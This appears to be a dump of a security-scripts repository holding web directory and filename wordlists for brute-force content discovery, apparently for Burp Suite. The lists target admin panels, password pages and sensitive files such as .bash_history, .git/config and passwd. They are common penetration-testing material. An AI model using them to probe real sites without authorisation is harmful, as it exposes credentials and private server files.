amazon 423 | analog 424 | analysis 425 | announce 426 | announcements 427 | anthill 428 | antispam 429 | antivirus 430 | aol 431 | ap 432 | api 433 | apple 434 | applmgr 435 | appsec 436 | ar 437 | architecture 438 | Archive 439 | arrow 440 | art 441 | Articles 442 | arts 443 | asa 444 | asia 445 | ask 446 | asp 447 | assets 448 | at 449 | atc 450 | atom 451 | au 452 | audio 453 | aut 454 | authadmin 455 | auto 456 | automotive 457 | avatars 458 | aw 459 | awards 460 | ayuda 461 | B 462 | b1 463 | back 464 | backend 465 | bad 466 | bak 467 | banca 468 | banco 469 | bank 470 | banner 471 | banner01 472 | banner2 473 | banners 474 | bar 475 | baseball 476 | basic 477 | basket 478 | basketball 479 | batch 480 | bb 481 | bbs 482 | bbv 483 | bdata 484 | bdatos 485 | benefits 486 | bg 487 | billpay 488 | bio 489 | bios 490 | black 491 | blank 492 | blocks 493 | Blog 494 | blogger 495 | bloggers 496 | blogs 497 | blue 498 | boadmin 499 | board 500 | book 501 | Books 502 | books 503 | bookstore 504 | boot 505 | bottom 506 | box 507 | br 508 | broadband 509 | browser 510 | bsd 511 | btauxdir 512 | bug 513 | bugs 514 | bugzilla 515 | bullet 516 | business 517 | Business 518 | button 519 | buttons 520 | buynow 521 | C 522 | ca 523 | cache 524 | cache-stats 525 | cached 526 | caja 527 | calendar 528 | campaign 529 | canada 530 | card 531 | cards 532 | career 533 | careers 534 | cars 535 | cases 536 | casestudies 537 | cash 538 | caspsamp 539 | cat 540 | categories 541 | cc 542 | ccard 543 | cd 544 | cd-cgi 545 | cdrom 546 | ce_html 547 | certificado 548 | certification 549 | cfappman 550 | cfdocs 551 | cfide 552 | cgi-auth 553 | cgi-bin2 554 | cgi-csc 555 | cgi-lib 556 | cgi-local 557 | cgi-scripts 558 | cgi-shop 559 | cgi-sys 560 | cgi-win 561 | cgibin 562 | cgilib 563 | cgis 564 | cgiscripts 565 | cgiwin 566 | ch 567 | ChangeLog 568 | changelog 569 | channel 570 | chat 571 | check 572 | china 573 | cisco 574 | classes 575 | classifieds 576 | clear 577 | clearpixel 578 | click 579 | cliente 580 | clientes 581 | cm 582 | cms 583 | cmsample 584 | cn 585 | cnt 586 | college 587 | columnists 588 | columns 589 | comics 590 | comment 591 | commentary 592 | communications 593 | communicator 594 | community 595 | companies 596 | compare 597 | compliance 598 | component 599 | components 600 | compra 601 | compras 602 | computer 603 | Computers 604 | computers 605 | computing 606 | conecta 607 | conference 608 | conferences 609 | configure 610 | console 611 | consulting 612 | consumer 613 | Contact 614 | contact-us 615 | contact_us 616 | contactUs 617 | ContactUs 618 | Content 619 | contents 620 | contest 621 | contests 622 | contrib 623 | contribute 624 | controlpanel 625 | cookies 626 | cool 627 | copyright 628 | corp 629 | corporate 630 | corrections 631 | correo 632 | count 633 | counter 634 | country 635 | courses 636 | cover 637 | covers 638 | cp 639 | CPAN 640 | create 641 | Creatives 642 | credits 643 | crime 644 | cron 645 | crons 646 | crypto 647 | cs 648 | CS 649 | csr 650 | css 651 | ct 652 | cuenta 653 | cuentas 654 | culture 655 | currency 656 | current 657 | cv 658 | CVS 659 | cvsweb 660 | cybercash 661 | D 662 | d 663 | daily 664 | darkportal 665 | dat 666 | date 667 | dating 668 | dato 669 | datos 670 | dbase 671 | dcforum 672 | ddreport 673 | ddrint 674 | de 675 | debian 676 | debugs 677 | dec 678 | Default 679 | delicious 680 | demoauct 681 | demomall 682 | deny 683 | derived 684 | design 685 | desktop 686 | desktops 687 | detail 688 | details 689 | developer 690 | developers 691 | diary 692 | digg 693 | digital 694 | directions 695 | directorymanager 696 | disclaimer 697 | discuss 698 | display 699 | divider 700 | dl 701 | dm 702 | DMR 703 | dms 704 | dms0 705 | dmsdump 706 | do 707 | doc1 708 | docs1 709 | DocuColor 710 | donate 711 | donations 712 | dot 713 | down 714 | Download 715 | Downloads 716 | drivers 717 | ds 718 | dump 719 | durep 720 | dvd 721 | E 722 | easylog 723 | eBayISAPI 724 | ecommerce 725 | edgy 726 | edit 727 | editorial 728 | editorials 729 | education 730 | Education 731 | eforum 732 | ejemplo 733 | ejemplos 734 | emailclass 735 | emoticons 736 | employment 737 | empoyees 738 | empris 739 | empty 740 | energy 741 | eng 742 | engine 743 | english 744 | English 745 | enterprise 746 | Entertainment 747 | entertainment 748 | entry 749 | envia 750 | enviamail 751 | environment 752 | errata 753 | es 754 | espanol 755 | estmt 756 | etc 757 | ethics 758 | europe 759 | EuropeMirror 760 | event 761 | Events 762 | exc 763 | excel 764 | exchange 765 | exe 766 | exec 767 | expert 768 | experts 769 | exploits 770 | F 771 | facts 772 | faculty 773 | failure 774 | family 775 | FAQ 776 | faqs 777 | fashion 778 | fbsd 779 | fcgi 780 | fcgi-bin 781 | feature 782 | featured 783 | fedora 784 | feed 785 | feedback 786 | feeds 787 | file 788 | filemanager 789 | film 790 | finance 791 | financial 792 | firefox 793 | firewall 794 | firewalls 795 | flags 796 | flex 797 | flux 798 | foia 799 | folder 800 | folder_big 801 | folder_lock 802 | folder_new 803 | foldoc 804 | foo 805 | foobar 806 | food 807 | football 808 | footer 809 | footers 810 | form-totaller 811 | formsmgr 812 | forumdisplay 813 | forums 814 | forward 815 | foto 816 | fotos 817 | fpadmin 818 | fpclass 819 | fpdb 820 | fpe 821 | fpsample 822 | fr 823 | frame 824 | frames 825 | framesets 826 | france 827 | free 828 | freeware 829 | french 830 | friend 831 | friends 832 | front 833 | frontpage 834 | ftproot 835 | func 836 | functions 837 | furl 838 | future 839 | G 840 | gadgets 841 | galleries 842 | gallery 843 | game 844 | games 845 | Games 846 | gaming 847 | gb 848 | generic 849 | gentoo 850 | get 851 | gfx 852 | gif 853 | gifs 854 | gifts 855 | Global 856 | glossary 857 | go 858 | golf 859 | good 860 | google 861 | government 862 | gps 863 | Graphics 864 | green 865 | grocery 866 | group 867 | groupcp 868 | groups 869 | gs 870 | guestbook 871 | guide 872 | guidelines 873 | guides 874 | H 875 | hacking 876 | hardware 877 | HB 878 | HBTemplates 879 | head 880 | header 881 | headers 882 | headlines 883 | Health 884 | health 885 | healthcare 886 | Help 887 | helpdesk 888 | hide 889 | history 890 | hit_tracker 891 | hitmatic 892 | hlstats 893 | holiday 894 | Home 895 | homepage 896 | honda 897 | host 898 | hosted 899 | hosting 900 | hostingcontroller 901 | hotels 902 | house 903 | how 904 | howto 905 | hp 906 | hr 907 | ht 908 | htbin 909 | htdocs 910 | HTML 911 | http 912 | https 913 | hu 914 | humor 915 | hyperstat 916 | ibank 917 | ibill 918 | ibm 919 | ico 920 | icon 921 | icon1 922 | icq 923 | id 924 | ideas 925 | identity 926 | ie 927 | iisadmin 928 | iissamples 929 | im 930 | Image 931 | imagenes 932 | imagery 933 | Images 934 | images01 935 | imgs 936 | impreso 937 | impressum 938 | in 939 | incoming 940 | Index 941 | index1 942 | index2 943 | index3 944 | index4 945 | index_01 946 | industries 947 | industry 948 | inet 949 | inf 950 | ingresa 951 | ingreso 952 | insurance 953 | intel 954 | interface 955 | international 956 | Internet 957 | interview 958 | interviews 959 | intl 960 | intro 961 | introduction 962 | investors 963 | invitado 964 | ip 965 | ipod 966 | iraq 967 | irc 968 | isapi 969 | issue 970 | issues 971 | it 972 | item 973 | items 974 | ja 975 | japan 976 | japidoc 977 | java 978 | Java 979 | javascript 980 | javasdk 981 | javatest 982 | jave 983 | JBookIt 984 | jdbc 985 | jmx-console 986 | job 987 | jobs 988 | join 989 | journal 990 | journals 991 | jp 992 | jrun 993 | jsa 994 | jscript 995 | jserv 996 | jslib 997 | jsp 998 | jump 999 | junk 1000 | kb 1001 | kids 1002 | kiva 1003 | kontakt 1004 | L 1005 | labs 1006 | landing 1007 | landwind 1008 | lang 1009 | language 1010 | languages 1011 | laptops 1012 | lastpost 1013 | latest 1014 | law 1015 | layout 1016 | lcgi 1017 | learn 1018 | left 1019 | legal 1020 | legislation 1021 | letters 1022 | lg 1023 | libro 1024 | licensing 1025 | life 1026 | lifestyle 1027 | line 1028 | link 1029 | Links 1030 | linktous 1031 | Linux 1032 | list 1033 | listinfo 1034 | lists 1035 | live 1036 | loader 1037 | loading 1038 | location 1039 | locations 1040 | logg 1041 | logger 1042 | Login 1043 | logo1 1044 | logo2 1045 | logon 1046 | logos 1047 | M 1048 | m1 1049 | mac 1050 | magazine 1051 | magazines 1052 | mail_log_files 1053 | mailinglist 1054 | mailman 1055 | mailroot 1056 | Main 1057 | Main_Page 1058 | makefile 1059 | manage 1060 | marketplace 1061 | markets 1062 | masthead 1063 | mb 1064 | me 1065 | Media 1066 | mediakit 1067 | meetings 1068 | mem 1069 | mem_bin 1070 | memberlist 1071 | Members 1072 | membership 1073 | menu 1074 | messages 1075 | metacart 1076 | microsoft 1077 | mini 1078 | mirror 1079 | mirrors 1080 | Misc 1081 | miscellaneous 1082 | mission 1083 | mkstats 1084 | mobile 1085 | mods 1086 | money 1087 | more 1088 | moto1 1089 | movie 1090 | movies 1091 | movimientos 1092 | mozilla 1093 | mp3 1094 | mqseries 1095 | ms 1096 | msfpe 1097 | msn 1098 | msql 1099 | Msword 1100 | mt 1101 | multimedia 1102 | music 1103 | Music 1104 | my 1105 | myaccount 1106 | myspace 1107 | mysql 1108 | mysql_admin 1109 | N 1110 | national 1111 | nav 1112 | navigation 1113 | ncadmin 1114 | nchelp 1115 | ncsample 1116 | net 1117 | netbasic 1118 | netcat 1119 | NetDynamic 1120 | NetDynamics 1121 | netmagstats 1122 | netscape 1123 | netshare 1124 | nettracker 1125 | network 1126 | networking 1127 | newsletter 1128 | newsletters 1129 | newsroom 1130 | next 1131 | nextgeneration 1132 | nl 1133 | no 1134 | node 1135 | nokia 1136 | noticias 1137 | NSearch 1138 | O 1139 | OasDefault 1140 | odbc 1141 | offerdetail 1142 | office 1143 | old_files 1144 | oldfiles 1145 | online 1146 | openbsd 1147 | opensource 1148 | opinion 1149 | opinions 1150 | opml 1151 | options 1152 | oradata 1153 | org 1154 | os 1155 | other 1156 | others 1157 | outgoing 1158 | overview 1159 | owners 1160 | P 1161 | packages 1162 | page2 1163 | paper 1164 | papers 1165 | patches 1166 | path 1167 | payments 1168 | paypal 1169 | pc 1170 | pda 1171 | pdf 1172 | pdfs 1173 | People 1174 | people 1175 | perl 1176 | perl5 1177 | pforum 1178 | pgp 1179 | phishing 1180 | phone 1181 | phones 1182 | phorum 1183 | photo 1184 | photos 1185 | php 1186 | php_classes 1187 | phpBB 1188 | phpBB2 1189 | phpclassifieds 1190 | phpimageview 1191 | phpmyadmin 1192 | phpMyAdmin 1193 | phpnuke 1194 | phpPhotoAlbum 1195 | phpprojekt 1196 | phpSecurePages 1197 | pic 1198 | pike 1199 | pipermail 1200 | piranha 1201 | pix 1202 | pixel 1203 | pl 1204 | play 1205 | player 1206 | pls 1207 | plsql 1208 | plugins 1209 | plus 1210 | podcast 1211 | podcasting 1212 | podcasts 1213 | policies 1214 | policy 1215 | politics 1216 | poll 1217 | polls 1218 | pop 1219 | popular 1220 | popup 1221 | portal 1222 | portals 1223 | portfolio 1224 | post 1225 | postgres 1226 | posting 1227 | posts 1228 | pp 1229 | ppwb 1230 | pr 1231 | preferences 1232 | premiere 1233 | premium 1234 | presentations 1235 | Press 1236 | press_releases 1237 | presse 1238 | pressreleases 1239 | pressroom 1240 | preview 1241 | pricing 1242 | print 1243 | printer 1244 | printers 1245 | priv 1246 | Privacy 1247 | privacy-policy 1248 | privacy_policy 1249 | privacypolicy 1250 | PrivacyPolicy 1251 | privado 1252 | privmsg 1253 | pro 1254 | problems 1255 | prod 1256 | product 1257 | product_info 1258 | Products 1259 | profiles 1260 | program 1261 | programming 1262 | programs 1263 | project 1264 | projects 1265 | promo 1266 | promos 1267 | promotions 1268 | prueba 1269 | pruebas 1270 | prv 1271 | ps 1272 | psp 1273 | pt 1274 | publica 1275 | publicar 1276 | Publications 1277 | publications 1278 | publico 1279 | pubs 1280 | python 1281 | query 1282 | questions 1283 | quiz 1284 | quote 1285 | quotes 1286 | R 1287 | radio 1288 | random 1289 | random_banner 1290 | rdp 1291 | read 1292 | README 1293 | realestate 1294 | RealMedia 1295 | recent 1296 | red 1297 | reddit 1298 | redir 1299 | redirect 1300 | ref 1301 | reference 1302 | reg 1303 | registered 1304 | registration 1305 | registry 1306 | reklama 1307 | release 1308 | releases 1309 | religion 1310 | remote 1311 | remove 1312 | reply 1313 | reprints 1314 | request 1315 | research 1316 | Research 1317 | reseller 1318 | resellers 1319 | resource 1320 | Resources 1321 | results 1322 | resume 1323 | reveal 1324 | review 1325 | rfid 1326 | right 1327 | roadmap 1328 | ROADS 1329 | root 1330 | rsrc 1331 | RSS 1332 | rss10 1333 | rss2 1334 | rss20 1335 | ru 1336 | ruby 1337 | rules 1338 | S 1339 | s1 1340 | safety 1341 | sample 1342 | samples 1343 | sc 1344 | schedule 1345 | science 1346 | screen 1347 | screens 1348 | screenshot 1349 | screenshots 1350 | ScriptLibrary 1351 | se 1352 | Search 1353 | search-ui 1354 | sec 1355 | section 1356 | sections 1357 | secured 1358 | Security 1359 | seminars 1360 | send 1361 | sendmessage 1362 | server-info 1363 | server-status 1364 | server_stats 1365 | servers 1366 | serverstats 1367 | Services 1368 | servicio 1369 | servicios 1370 | sharedtemplates 1371 | shell-cgi 1372 | shim 1373 | shopper 1374 | shopping 1375 | showallsites 1376 | shows 1377 | showthread 1378 | signin 1379 | signup 1380 | SilverStream 1381 | site-map 1382 | site_map 1383 | siteadmin 1384 | SiteMap 1385 | sitemgr 1386 | siteminder 1387 | siteminderagent 1388 | siteserver 1389 | sitestats 1390 | siteupdate 1391 | skins 1392 | slashdot 1393 | small 1394 | smb 1395 | smile 1396 | smiles 1397 | smilies 1398 | smreports 1399 | smreportsviewer 1400 | sms 1401 | soapdocs 1402 | soft 1403 | Software 1404 | solaris 1405 | solutions 1406 | sony 1407 | sources 1408 | sp 1409 | space 1410 | spam 1411 | spanish 1412 | speakers 1413 | special 1414 | specials 1415 | splash 1416 | sponsor 1417 | sponsors 1418 | sport 1419 | Sports 1420 | sports 1421 | spotlight 1422 | spyware 1423 | squid 1424 | srchadm 1425 | ss 1426 | ssh 1427 | ssi 1428 | ssl 1429 | sslkeys 1430 | st 1431 | standard 1432 | standards 1433 | star 1434 | start 1435 | state 1436 | states 1437 | static 1438 | statistic 1439 | statistics 1440 | stats_old 1441 | statusicon 1442 | storage 1443 | StoreDB 1444 | storemgr 1445 | stores 1446 | stories 1447 | story 1448 | student 1449 | students 1450 | style_images 1451 | sub 1452 | subir 1453 | subject 1454 | submit 1455 | subscribe 1456 | subscription 1457 | subscriptions 1458 | subSilver 1459 | success 1460 | summary 1461 | super_stats 1462 | Support 1463 | supporter 1464 | survey 1465 | syndication 1466 | sysadmin 1467 | sysbackup 1468 | T 1469 | tabs 1470 | tag 1471 | tags 1472 | talk 1473 | talks 1474 | tarjetas 1475 | taxonomy 1476 | te_html 1477 | team 1478 | technology 1479 | Technology 1480 | technorati 1481 | technote 1482 | television 1483 | temporal 1484 | term 1485 | termsofuse 1486 | terrorism 1487 | test-cgi 1488 | testimonials 1489 | testweb 1490 | text 1491 | theme 1492 | thread 1493 | thumb 1494 | thumbnails 1495 | thumbs 1496 | time 1497 | timeline 1498 | title 1499 | titles 1500 | tn 1501 | toc 1502 | today 1503 | toolbar 1504 | top1 1505 | topic 1506 | topics 1507 | topsites 1508 | tos 1509 | tour 1510 | toys 1511 | tpv 1512 | tr 1513 | trabajo 1514 | trace 1515 | traceroute 1516 | track 1517 | trackback 1518 | tracker 1519 | tracking 1520 | trademarks 1521 | traffic 1522 | training 1523 | trans 1524 | transfer 1525 | transito 1526 | transparent 1527 | transpolar 1528 | travel 1529 | Travel 1530 | tree 1531 | trees 1532 | trick 1533 | tricks 1534 | trunk 1535 | tuning 1536 | tutorial 1537 | tutorials 1538 | tv 1539 | txt 1540 | u02 1541 | ubuntu-6 1542 | uk 1543 | uncategorized 1544 | unix 1545 | up 1546 | update 1547 | upgrade 1548 | url 1549 | US 1550 | usa 1551 | userdb 1552 | ustats 1553 | usuario 1554 | usuarios 1555 | utilities 1556 | Utilities 1557 | V 1558 | v2 1559 | valid-xhtml10 1560 | vcss 1561 | version 1562 | vfs 1563 | vi 1564 | video 1565 | Video 1566 | videos 1567 | view 1568 | viewforum 1569 | viewonline 1570 | viewtopic 1571 | virus 1572 | vista 1573 | voip 1574 | volunteer 1575 | vote 1576 | vti_bin 1577 | vti_bot 1578 | vti_log 1579 | vti_pvt 1580 | vti_shm 1581 | vti_txt 1582 | w-agora 1583 | w2000 1584 | w2k 1585 | w3perl 1586 | wallpapers 1587 | way-board 1588 | weather 1589 | web-console 1590 | web-inf 1591 | web800fo 1592 | Web_store 1593 | web_usage 1594 | webaccess 1595 | webAdmin 1596 | webalizer 1597 | webapp 1598 | WebBank 1599 | webboard 1600 | WebCalendar 1601 | webcart 1602 | webcart-lite 1603 | webcast 1604 | webcasts 1605 | webdata 1606 | webdb 1607 | webDB 1608 | webimages 1609 | webimages2 1610 | weblog 1611 | weblogs 1612 | webmaster 1613 | webmaster_logs 1614 | webmasters 1615 | webpub 1616 | webpub-ui 1617 | webreports 1618 | webreps 1619 | webshare 1620 | WebShop 1621 | website 1622 | webstat 1623 | webstats 1624 | webtrace 1625 | WebTrend 1626 | webtrends 1627 | weekly 1628 | welcome 1629 | whatsnew 1630 | white 1631 | whitepaper 1632 | whitepapers 1633 | who 1634 | whois 1635 | whosonline 1636 | why 1637 | wifi 1638 | wii 1639 | wiki 1640 | win 1641 | win2k 1642 | window 1643 | Windows 1644 | windows 1645 | wink 1646 | wireless 1647 | wordpress 1648 | workshops 1649 | worldwide 1650 | wp 1651 | wp-content 1652 | wp-includes 1653 | wp-login 1654 | wp-register 1655 | wp-rss2 1656 | writing 1657 | ws 1658 | WS_FTP 1659 | wsdocs 1660 | wstats 1661 | wusage 1662 | www-sql 1663 | www0 1664 | www2 1665 | www3 1666 | www4 1667 | wwwjoin 1668 | wwwlog 1669 | wwwstat 1670 | wwwstats 1671 | X 1672 | xbox 1673 | xGB 1674 | XSL 1675 | xtemp 1676 | xxx 1677 | yahoo 1678 | zipfiles 1679 | 0 1680 | 10 1681 | 100 1682 | 101 1683 | 102 1684 | 103 1685 | 104 1686 | 105 1687 | 106 1688 | 107 1689 | 108 1690 | 109 1691 | 11 1692 | 110 1693 | 12 1694 | 13 1695 | 14 1696 | 15 1697 | 16 1698 | 17 1699 | 18 1700 | 19 1701 | 1996 1702 | 1997 1703 | 1998 1704 | 1999 1705 | 20 1706 | 200 1707 | 2000 1708 | 2001 1709 | 2002 1710 | 2003 1711 | 2004 1712 | 2005 1713 | 2006 1714 | 2007 1715 | 2008 1716 | 2009 1717 | 21 1718 | 22 1719 | 23 1720 | 24 1721 | 25 1722 | 26 1723 | 27 1724 | 28 1725 | 29 1726 | 30 1727 | 31 1728 | 32 1729 | 33 1730 | 34 1731 | 35 1732 | 36 1733 | 37 1734 | 38 1735 | 39 1736 | 40 1737 | 41 1738 | 42 1739 | 43 1740 | 44 1741 | 45 1742 | 46 1743 | 47 1744 | 48 1745 | 49 1746 | 50 1747 | 51 1748 | 52 1749 | 53 1750 | 54 1751 | 55 1752 | 56 1753 | 57 1754 | 58 1755 | 59 1756 | 60 1757 | 61 1758 | 62 1759 | 63 1760 | 64 1761 | 65 1762 | 66 1763 | 67 1764 | 68 1765 | 69 1766 | 70 1767 | 71 1768 | 72 1769 | 73 1770 | 74 1771 | 75 1772 | 76 1773 | 77 1774 | 78 1775 | 79 1776 | 80 1777 | 81 1778 | 82 1779 | 83 1780 | 84 1781 | 85 1782 | 86 1783 | 87 1784 | 88 1785 | 89 1786 | 90 1787 | 91 1788 | 92 1789 | 93 1790 | 94 1791 | 95 1792 | 96 1793 | 97 1794 | 98 1795 | 99 1796 | _admin 1797 | _images 1798 | _pages 1799 | addUser 1800 | admins 1801 | calc 1802 | changepass 1803 | changepasswd 1804 | changepassword 1805 | changepwd 1806 | chgpass 1807 | chgpasswd 1808 | chgpassword 1809 | chgpwd 1810 | chpass 1811 | chpasswd 1812 | chpassword 1813 | chpwd 1814 | foot 1815 | frame1 1816 | frame2 1817 | framemain 1818 | logoff 1819 | mainframe 1820 | menuitem 1821 | newpass 1822 | newpasswd 1823 | newpassword 1824 | newpw 1825 | newUser 1826 | pass 1827 | passwd 1828 | passwd.adjunct 1829 | pwd 1830 | setpass 1831 | setpasswd 1832 | setpassword 1833 | setpwd 1834 | achg 1835 | activate 1836 | activateuser 1837 | activecontent 1838 | ad_click 1839 | adcontent 1840 | add_category 1841 | add_ftp 1842 | add_user 1843 | addcontent 1844 | addedit 1845 | addentry 1846 | addnews 1847 | addToCart 1848 | Admin 1849 | administrators 1850 | adminshares 1851 | ado 1852 | adpassword 1853 | adsearch 1854 | advsearch 1855 | alog 1856 | am 1857 | analyse 1858 | anot 1859 | anything 1860 | Application 1861 | area 1862 | attachments 1863 | auction 1864 | authenticate 1865 | autherror 1866 | ax 1867 | axs 1868 | basics 1869 | bdir 1870 | bla 1871 | blat 1872 | blogadmin 1873 | blogroll 1874 | bookmark 1875 | bookmarks 1876 | bots 1877 | buglist 1878 | cachemgr 1879 | cal 1880 | captcha 1881 | cardboard 1882 | cart32 1883 | Catalog 1884 | catalogue 1885 | certlog 1886 | certsrv 1887 | cgiback 1888 | cgiemail 1889 | cgiforum 1890 | cgimail 1891 | cgitest 1892 | change_password 1893 | CHANGELOG 1894 | Channel 1895 | channels 1896 | charts 1897 | chatlog 1898 | checkfile 1899 | checks 1900 | cleanup 1901 | cmd 1902 | CodeBrws 1903 | codebrws 1904 | Comment 1905 | comment_add 1906 | commerce 1907 | compare_form 1908 | compatible 1909 | compose 1910 | con 1911 | configset 1912 | configuration 1913 | conn 1914 | connection 1915 | connector 1916 | connexion 1917 | control 1918 | convert 1919 | copy_form 1920 | COPYRIGHT 1921 | countries 1922 | createaccount 1923 | crossdomain 1924 | cstat 1925 | customize 1926 | da 1927 | datafunc 1928 | day 1929 | dbconfig 1930 | dbconn 1931 | dbconnect 1932 | dblog 1933 | dbmlparser 1934 | dbsamp 1935 | debug_show 1936 | DEFAULT 1937 | default_header 1938 | definesearch 1939 | deletecontact 1940 | deluser 1941 | DirectoryListing 1942 | directorypro 1943 | dirs 1944 | divers 1945 | domains 1946 | domlog 1947 | dosearch 1948 | download_click 1949 | download_now 1950 | drop 1951 | dumpenv 1952 | echo 1953 | Edit 1954 | edituser 1955 | element 1956 | env 1957 | Error 1958 | evaluate 1959 | example1 1960 | explorer 1961 | expressions 1962 | ext 1963 | fetch 1964 | file_manager 1965 | file_select 1966 | file_upload 1967 | filelist 1968 | filesize 1969 | fom 1970 | forgot 1971 | forgot_pass 1972 | forgot_password 1973 | forgotPassword 1974 | form_header 1975 | form_results 1976 | FormHandler 1977 | formhandler 1978 | formmail 1979 | formslogin 1980 | frameset 1981 | ftp_index 1982 | ftp_users 1983 | gateway 1984 | gbdb 1985 | gbmail 1986 | gbook 1987 | getfile 1988 | getimage 1989 | gotopage 1990 | heading 1991 | hello 1992 | highlight 1993 | hints 1994 | hit 1995 | hits 1996 | htaccess 1997 | htimage 1998 | htmlsamp 1999 | imagelist 2000 | imagemap 2001 | imageview 2002 | includer 2003 | increment 2004 | infopage 2005 | initiate 2006 | input 2007 | input2 2008 | INSTALL 2009 | ism 2010 | item_list 2011 | item_show 2012 | ItemInfo 2013 | itemlist 2014 | jotter 2015 | launch 2016 | ldap 2017 | LICENSE 2018 | linkinfo 2019 | list_docs 2020 | list_pages 2021 | listfull 2022 | load 2023 | loadpage 2024 | log4a 2025 | login_menu 2026 | Logon 2027 | logonAction 2028 | mab 2029 | macro 2030 | mail1 2031 | mailattach 2032 | mailbox 2033 | mailfile 2034 | mailform 2035 | mailing_list 2036 | maillist 2037 | mailto 2038 | main_menu 2039 | mainframeset 2040 | maintainers 2041 | managegroup 2042 | manufacturer 2043 | manufacturers 2044 | master 2045 | Members1 2046 | menu_over 2047 | merchant 2048 | message_box 2049 | meta 2050 | mlog 2051 | mode 2052 | moderation 2053 | modlog 2054 | month 2055 | mountain 2056 | mydir 2057 | myevent 2058 | myhome 2059 | mylog 2060 | News_Item 2061 | newsdesk 2062 | newsgroups 2063 | newuser 2064 | none 2065 | null 2066 | NULL 2067 | odp 2068 | oj 2069 | open 2070 | opendir 2071 | OpenFile 2072 | openwindow 2073 | parser 2074 | Password 2075 | permissions 2076 | photogallery 2077 | php-stats 2078 | phpcart 2079 | phpinfo 2080 | picture 2081 | planning 2082 | plugin 2083 | pluginmgr 2084 | pm 2085 | pmlite 2086 | pms 2087 | popupImage 2088 | PORTAL 2089 | postcard 2090 | postcomment 2091 | postinfo 2092 | pref 2093 | print_order 2094 | printview 2095 | prn 2096 | probe 2097 | problem 2098 | process 2099 | processlogin 2100 | productDetails 2101 | Query 2102 | rate 2103 | ratefile 2104 | rating 2105 | ratings 2106 | read_body 2107 | readme 2108 | registrations 2109 | repost 2110 | reputation 2111 | resetpw 2112 | resize 2113 | responder 2114 | result 2115 | rights 2116 | rlink 2117 | run 2118 | sale 2119 | salesadmin 2120 | scp 2121 | searchResults 2122 | SearchResults 2123 | select 2124 | sendfile 2125 | sendform 2126 | sendmail 2127 | sendpassword 2128 | setcookie 2129 | settings 2130 | shell 2131 | shopping_cart 2132 | showcode 2133 | ShowCode 2134 | showdoc 2135 | showfile 2136 | showmail 2137 | showphoto 2138 | showpic 2139 | showproduct 2140 | showstats 2141 | showteam 2142 | showtopic 2143 | shtml 2144 | simple 2145 | sitelist 2146 | sitestat 2147 | slides 2148 | slideshow 2149 | smtp 2150 | song 2151 | sort 2152 | sqlconnect 2153 | sqlexecute 2154 | sqlnet 2155 | srch 2156 | start_page 2157 | stats_view 2158 | statsbrowse 2159 | statview 2160 | structure 2161 | styles2 2162 | subfooter 2163 | subheader 2164 | subscribers 2165 | Survey 2166 | tables 2167 | talkback 2168 | taste 2169 | TellAFriend 2170 | tellAFriend 2171 | tellafriend 2172 | test-win 2173 | testcgi 2174 | theme-editor 2175 | thumbnail 2176 | toast 2177 | Trace 2178 | ultimate 2179 | uninstall 2180 | UPGRADE 2181 | uploader 2182 | uploadimage 2183 | uploadphoto 2184 | urlcount 2185 | user_adm 2186 | userInfo 2187 | userlist 2188 | userlogin 2189 | UserManager 2190 | UserPreferences 2191 | userreg 2192 | Users 2193 | userslist 2194 | userstat 2195 | usrdetails 2196 | validate 2197 | validsession 2198 | variable 2199 | vars 2200 | vendors 2201 | view-profile 2202 | view_album 2203 | view_archive 2204 | view_cart 2205 | view_doc 2206 | view_entry 2207 | view_order 2208 | view_product 2209 | view_results 2210 | viewall 2211 | viewcode 2212 | ViewCode 2213 | viewinvoice 2214 | viewlog 2215 | viewlogs 2216 | viewpage 2217 | viewplan 2218 | viewreport 2219 | ViewSearch 2220 | viewsource 2221 | viewStatement 2222 | viewthread 2223 | viewusage 2224 | ViewWeek 2225 | ViewYear 2226 | visitor 2227 | wc 2228 | wdir 2229 | wdirs 2230 | Web 2231 | WEB-INF 2232 | webauthor 2233 | webbbs 2234 | webdist 2235 | webevent 2236 | webmail 2237 | Webmail 2238 | webmap 2239 | webpage 2240 | webplus 2241 | webutils 2242 | webwho 2243 | week 2244 | welcomeuser 2245 | wguest 2246 | workspaces 2247 | write 2248 | writeto 2249 | wwwboard 2250 | WWWSTAT 2251 | wwwthreads 2252 | xmb 2253 | xmlrpc 2254 | XPath 2255 | year 2256 | yearcal 2257 | youraccount 2258 | zero 2259 | zones 2260 | 00 2261 | _author 2262 | _Default 2263 | _head 2264 | _shtml 2265 | _vti_inf 2266 | -------------------------------------------------------------------------------- /burp_filenames.txt: -------------------------------------------------------------------------------- 1 | .viminfo 2 | .bash_history 3 | .bashrc 4 | robots.txt 5 | README.md 6 | crossdomain.xml 7 | .git/config 8 | .git/index 9 | .svn/entries 10 | .svn/wc.db 11 | .DS_Store 12 | CVS/Root 13 | CVS/Entries 14 | .idea/workspace.xml 15 | www 16 | wwwroot 17 | backup 18 | index 19 | web 20 | project 21 | config 22 | common 23 | db_mysql 24 | install 25 | conf 26 | db 27 | setup 28 | init 29 | php 30 | info 31 | http 32 | core 33 | ftp 34 | data 35 | test 36 | database 37 | Database 38 | BookStore 39 | DB 40 | 1 41 | schema 42 | mysql 43 | dump 44 | users 45 | update 46 | user 47 | sql 48 | login 49 | all 50 | passwd 51 | init_db 52 | fckstyles 53 | Config 54 | build 55 | ini 56 | admin 57 | sample 58 | settings 59 | setting 60 | Php 61 | nginx_status 62 | nginx 63 | httpd 64 | local 65 | LICENSE 66 | sitemap 67 | username 68 | pass 69 | password 70 | app 71 | log 72 | CHANGELOG 73 | INSTALL 74 | error 75 | phpMyAdmin 76 | pma 77 | pmd 78 | SiteServer 79 | Admin/ 80 | manage 81 | manager 82 | manage/html 83 | resin-admin 84 | resin-doc 85 | axis2-admin 86 | admin-console 87 | system 88 | wp-admin 89 | uc_server 90 | debug 91 | Conf 92 | webmail 93 | service 94 | memadmin 95 | owa 96 | harbor 97 | master 98 | root 99 | xmlrpc 100 | search 101 | l 102 | forum 103 | phpinfo 104 | p 105 | cmd 106 | shell 107 | portal 108 | blog 109 | bbs 110 | webapp 111 | webapps 112 | plugins 113 | cgi-bin 114 | htdocs 115 | wsdl 116 | html 117 | tmp 118 | file 119 | solr 120 | WEB-INF 121 | zabbix 122 | ckeditor 123 | FCKeditor 124 | ewebeditor 125 | editor 126 | DataBackup 127 | api 128 | plus 129 | inc 130 | default -------------------------------------------------------------------------------- /cat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/cat.png -------------------------------------------------------------------------------- /phpstudyOnlineCheck/app.py: 